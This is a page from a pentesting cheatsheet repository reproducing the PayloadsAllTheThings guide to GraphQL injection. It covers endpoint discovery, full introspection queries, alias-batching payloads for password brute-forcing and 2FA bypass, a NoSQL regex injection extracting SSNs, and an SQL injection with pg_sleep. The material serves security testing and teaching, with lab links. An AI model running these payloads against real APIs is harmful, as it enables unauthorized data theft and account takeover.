daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (23218B)


      1 ---
      2 title: "GraphQL Injection"
      3 topic: "GraphQL Injection"
      4 topicSlug: "graphql-injection"
      5 sourcePath: "GraphQL Injection/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/GraphQL%20Injection/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # GraphQL Injection
     12 
     13 > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
     14 
     15 ## Summary
     16 
     17 - [Tools](#tools)
     18 - [Enumeration](#enumeration)
     19     - [Common GraphQL Endpoints](#common-graphql-endpoints)
     20     - [Identify An Injection Point](#identify-an-injection-point)
     21     - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
     22     - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
     23     - [Enumerate Types Definition](#enumerate-types-definition)
     24     - [Enumerating Paths to a Target Type](#enumerating-paths-to-a-target-type)
     25 - [Methodology](#methodology)
     26     - [Queries](#queries)
     27         - [Basic Query](#basic-query)
     28         - [Query with Arguments](#query-with-arguments)
     29         - [Nested Queries](#nested-queries)
     30     - [Mutations](#mutations)
     31     - [GraphQL Batching Attacks](#graphql-batching-attacks)
     32         - [JSON List Based Batching](#json-list-based-batching)
     33         - [Query Name Based Batching](#query-name-based-batching)
     34 - [Injections](#injections)
     35     - [NOSQL Injection](#nosql-injection)
     36     - [SQL Injection](#sql-injection)
     37 - [Labs](#labs)
     38 - [References](#references)
     39 
     40 ## Tools
     41 
     42 - [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
     43 - [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
     44 - [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
     45 - [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
     46 - [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
     47 - [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
     48 - [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
     49 - [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
     50 - [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
     51 - [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
     52 - [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility
     53 - [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
     54 - [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
     55 
     56 ## Enumeration
     57 
     58 ### Common GraphQL Endpoints
     59 
     60 GraphQL endpoints are often exposed at predictable paths, most commonly:
     61 
     62 - `/graphql`
     63 - `/graphiql` (interactive IDE)
     64 
     65 You should always probe for both API and developer/debug interfaces.
     66 
     67 ```ps1
     68 /v1/explorer
     69 /v1/graphiql
     70 /graph
     71 /graphql
     72 /graphql/console/
     73 /graphql.php
     74 /graphiql
     75 /graphiql.php
     76 ```
     77 
     78 For an extended wordlist, see [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
     79 
     80 ### Identify An Injection Point
     81 
     82 > A server MUST accept POST requests, and MAY accept other HTTP methods, such as GET. - [GraphQL Over HTTP](https://graphql.github.io/graphql-over-http/draft/#sec-Request)
     83 
     84 - GET endpoint
     85 
     86     ```js
     87     GET /graphql?query={yourQueryHere}
     88     GET /graphql?query={__schema{types{name}}}
     89     GET /graphiql?query={__schema{types{name}}}
     90     GET /graphql?query=query%20%7B%20user(id:%221%22)%20%7B%20id%20name%20%7D%20%7D
     91     ```
     92 
     93 - POST endpoint
     94 
     95     ```js
     96     POST /graphql/v1 HTTP/1.1
     97     Host: example.com
     98     Content-Type: application/json
     99 
    100     {
    101     "query": "query { user { id name } }"
    102     }
    103     ```
    104 
    105 Check if errors are visible.
    106 
    107 ```javascript
    108 ?query={__schema}
    109 ?query={}
    110 ?query={thisdefinitelydoesnotexist}
    111 ```
    112 
    113 ### Enumerate Database Schema via Introspection
    114 
    115 The GraphQL specification includes special fields, such as `__schema` and `__type`, that allow clients to ask the server what types exist, what fields they expose, and how everything connects together.
    116 
    117 An introspection query is simply a request that leverages these special fields to retrieve that structural information. This is what allows interactive environments like GraphiQL or GraphQL Playground to provide auto-completion, inline documentation, and query validation. When a developer types a query, the tool is not guessing, it has already asked the server what is valid and what is not.
    118 
    119 A minimal example looks like this:
    120 
    121 ```js
    122 {
    123   "query": "{ __schema { types { name } } }"
    124 }
    125 ```
    126 
    127 URL encoded query to dump the database schema.
    128 
    129 ```js
    130 fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
    131 ```
    132 
    133 URL decoded query to dump the database schema.
    134 
    135 ```rs
    136 fragment FullType on __Type {
    137   kind
    138   name
    139   description
    140   fields(includeDeprecated: true) {
    141     name
    142     description
    143     args {
    144       ...InputValue
    145     }
    146     type {
    147       ...TypeRef
    148     }
    149     isDeprecated
    150     deprecationReason
    151   }
    152   inputFields {
    153     ...InputValue
    154   }
    155   interfaces {
    156     ...TypeRef
    157   }
    158   enumValues(includeDeprecated: true) {
    159     name
    160     description
    161     isDeprecated
    162     deprecationReason
    163   }
    164   possibleTypes {
    165     ...TypeRef
    166   }
    167 }
    168 fragment InputValue on __InputValue {
    169   name
    170   description
    171   type {
    172     ...TypeRef
    173   }
    174   defaultValue
    175 }
    176 fragment TypeRef on __Type {
    177   kind
    178   name
    179   ofType {
    180     kind
    181     name
    182     ofType {
    183       kind
    184       name
    185       ofType {
    186         kind
    187         name
    188         ofType {
    189           kind
    190           name
    191           ofType {
    192             kind
    193             name
    194             ofType {
    195               kind
    196               name
    197               ofType {
    198                 kind
    199                 name
    200               }
    201             }
    202           }
    203         }
    204       }
    205     }
    206   }
    207 }
    208 
    209 query IntrospectionQuery {
    210   __schema {
    211     queryType {
    212       name
    213     }
    214     mutationType {
    215       name
    216     }
    217     types {
    218       ...FullType
    219     }
    220     directives {
    221       name
    222       description
    223       locations
    224       args {
    225         ...InputValue
    226       }
    227     }
    228   }
    229 }
    230 ```
    231 
    232 Single line queries to dump the database schema without fragments.
    233 
    234 ```rs
    235 __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
    236 ```
    237 
    238 ```rs
    239 {__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
    240 ```
    241 
    242 ### Enumerate Database Schema via Suggestions
    243 
    244 When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
    245 
    246 ```json
    247 {
    248   "message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
    249 }
    250 ```
    251 
    252 You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
    253 
    254 ### Enumerate Types Definition
    255 
    256 Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
    257 
    258 ```javascript
    259 {__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
    260 ```
    261 
    262 ### Enumerating Paths to a Target Type
    263 
    264 When working with a GraphQL schema, especially after running an introspection query, it is not always obvious how a specific type can be accessed through queries. A given object (like `User`, `Admin`, or `Payment`) may be reachable through multiple entry points and nested relationships.
    265 
    266 - [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Tool that lists the different ways of reaching a given type in a GraphQL schema.
    267 
    268 This tool takes the JSON output of an introspection query (which describes the full schema) and analyzes how types are connected. It then outputs different query paths that can be used to reach a specific target type. In practice, this means identifying all the possible ways a client could craft queries that eventually return that object, even if it is deeply nested or indirectly exposed.
    269 
    270 ```php
    271 graphql-path-enum -i ./test_data/h1_introspection.json -t Skill
    272 Found 27 ways to reach the "Skill" node from the "Query" node:
    273 - Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    274 - Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    275 - Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    276 - Query (checklist_checks) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    277 - Query (clusters) -> Cluster (weaknesses) -> Weakness (critical_reports) -> TeamMemberGroupConnection (edges) -> TeamMemberGroupEdge (node) -> TeamMemberGroup (team_members) -> TeamMember (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    278 - Query (embedded_submission_form) -> EmbeddedSubmissionForm (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    279 - Query (external_program) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    280 - Query (external_programs) -> ExternalProgram (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    281 - Query (job_listing) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    282 - Query (job_listings) -> JobListing (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    283 - Query (me) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    284 - Query (pentest) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    285 - Query (pentests) -> Pentest (lead_pentester) -> Pentester (user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    286 - Query (query) -> Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
    287 - Query (query) -> Query (skills) -> Skill
    288 ```
    289 
    290 ## Methodology
    291 
    292 GraphQL supports three main operation types: **queries**, **mutations**, and **subscriptions**.
    293 
    294 ### Queries
    295 
    296 GraphQL queries are used to request specific fields from a schema, and the structure of your query directly mirrors the JSON response you will receive. At its simplest, querying data means selecting a root field (like `user`, `posts`, or `teams`) and then specifying which subfields you want returned. Unlike REST, you never get extra data, everything must be explicitly requested.
    297 
    298 #### Basic Query
    299 
    300 The simplest query uses the shorthand syntax, where the `query` keyword is omitted. You just define the fields you want starting from the root object.
    301 
    302 ```js
    303 {
    304   user {
    305     id
    306     name
    307   }
    308 }
    309 ```
    310 
    311 This tells the server to return the `id` and `name` fields from the user object. The response will follow the exact same structure. If needed, the full syntax can be used with the query keyword, but in most cases the shorthand is enough and commonly seen in real-world traffic.
    312 
    313 ```js
    314 query {
    315   user {
    316     id
    317     name
    318   }
    319 }
    320 ```
    321 
    322 ![HTB Help - GraphQL injection](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/GraphQL%20Injection/Images/htb-help.png)
    323 
    324 #### Query with Arguments
    325 
    326 To retrieve specific data, arguments can be passed to fields. These behave like function parameters and are often used for IDs, filters, or search queries.
    327 
    328 ```js
    329 {
    330   user(id: "1") {
    331     name
    332     email
    333   }
    334 }
    335 ```
    336 
    337 This allows precise targeting of objects and is a common entry point for testing access control issues or IDOR-style vulnerabilities.
    338 
    339 #### Nested Queries
    340 
    341 GraphQL allows deep traversal of relationships in a single request. Instead of chaining multiple API calls, you can explore linked objects directly.
    342 
    343 ```js
    344 {
    345   user(id: "1") {
    346     name
    347     posts {
    348       title
    349       comments {
    350         content
    351       }
    352     }
    353   }
    354 }
    355 ```
    356 
    357 ### Mutations
    358 
    359 A mutation is an operation used to change data on the server (create, update, or delete something).
    360 Mutations work like function, you can use them to interact with the GraphQL endpoint.
    361 
    362 ```javascript
    363 mutation{
    364   signIn(login:"Admin", password:"secretp@ssw0rd"){
    365       token
    366     }
    367 }
    368 
    369 mutation{
    370   addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {
    371     id
    372     name
    373     email
    374   }
    375 }
    376 ```
    377 
    378 **Warning**: Mutations usually won't work with GET. [graphql/graphql-over-http, issue #123](https://github.com/graphql/graphql-over-http/issues/123)
    379 
    380 ### GraphQL Batching Attacks
    381 
    382 Common scenario:
    383 
    384 - Password Brute-force Amplification Scenario
    385 - Rate Limit bypass
    386 - 2FA bypassing
    387 
    388 #### JSON List Based Batching
    389 
    390 > Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
    391 
    392 Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
    393 
    394 ```json
    395 [
    396     {
    397         "query":"..."
    398     },{
    399         "query":"..."
    400     }
    401     ,{
    402         "query":"..."
    403     }
    404     ,{
    405         "query":"..."
    406     }
    407     ...
    408 ]
    409 ```
    410 
    411 #### Query Name Based Batching
    412 
    413 ```json
    414 {
    415     "query": "query { qname: Query { field1 } qname1: Query { field1 } }"
    416 }
    417 ```
    418 
    419 Send the same mutation several times using aliases
    420 
    421 ```js
    422 mutation {
    423   login(pass: 1111, username: "bob")
    424   second: login(pass: 2222, username: "bob")
    425   third: login(pass: 3333, username: "bob")
    426   fourth: login(pass: 4444, username: "bob")
    427 }
    428 ```
    429 
    430 ## Injections
    431 
    432 > SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
    433 
    434 ### NOSQL Injection
    435 
    436 Use `$regex` inside a `search` parameter.
    437 
    438 ```js
    439 {
    440   doctors(
    441     options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    442     search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    443     {
    444       firstName lastName id patients{ssn}
    445     }
    446 }
    447 ```
    448 
    449 ### SQL Injection
    450 
    451 Send a single quote `'` inside a GraphQL parameter to trigger the SQL injection
    452 
    453 ```js
    454 { 
    455     bacon(id: "1'") { 
    456         id, 
    457         type, 
    458         price
    459     }
    460 }
    461 ```
    462 
    463 Simple SQL injection inside a GraphQL field.
    464 
    465 ```powershell
    466 query {
    467   user(name: "patt';SELECT 1;SELECT pg_sleep(30);--'") {
    468     id
    469     email
    470   }
    471 }
    472 ```
    473 
    474 ## Labs
    475 
    476 - [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
    477 - [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
    478 - [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
    479 - [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
    480 - [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
    481 - [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
    482 - [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
    483 - [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
    484 - [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
    485 
    486 ## References
    487 
    488 - [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://web.archive.org/web/20230919211552/https://escape.tech/blog/graphql-security-wordlist/)
    489 - [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://web.archive.org/web/20210830161635/https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
    490 - [GraphQL Batching Attack - Wallarm - December 13, 2019](https://web.archive.org/web/20260223043402/https://lab.wallarm.com/graphql-batching-attack/)
    491 - [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://web.archive.org/web/20230205233412/https://acceis.github.io/prez-graphql/)
    492 - [API Hacking GraphQL - @ghostlulz - June 8, 2019](https://web.archive.org/web/20190619040847/https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
    493 - [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - September 23, 2018](https://web.archive.org/web/20180923085151/https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
    494 - [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://web.archive.org/web/20231027032512/https://labs.detectify.com/2018/03/14/graphql-abuse/)
    495 - [Graphql Bug to Steal Anyone's Address - Pratik Yadav - September 1, 2019](https://web.archive.org/web/20250514221822/https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
    496 - [GraphQL cheatsheet - devhints.io - November 7, 2018](https://web.archive.org/web/20181107093033/https://devhints.io/graphql)
    497 - [GraphQL Introspection - GraphQL - August 21, 2024](https://web.archive.org/web/20260302160506/https://graphql.org/learn/introspection/)
    498 - [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](https://web.archive.org/web/20250514221852/https://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
    499 - [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://web.archive.org/web/20190825033521/https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
    500 - [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - November 5, 2018](https://web.archive.org/web/20190718023950/https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
    501 - [Introduction to GraphQL - GraphQL - November 1, 2024](https://web.archive.org/web/20160917011216/http://graphql.org:80/learn)
    502 - [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://web.archive.org/web/20250710175416/https://hackerone.com/reports/291531)
    503 - [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - June 8, 2017](https://web.archive.org/web/20170608142208/https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
    504 - [Securing Your GraphQL API from Malicious Queries - Max Stoiber - February 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
    505 - [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - November 6, 2018](https://web.archive.org/web/20181203004543/https://hackerone.com/reports/435066)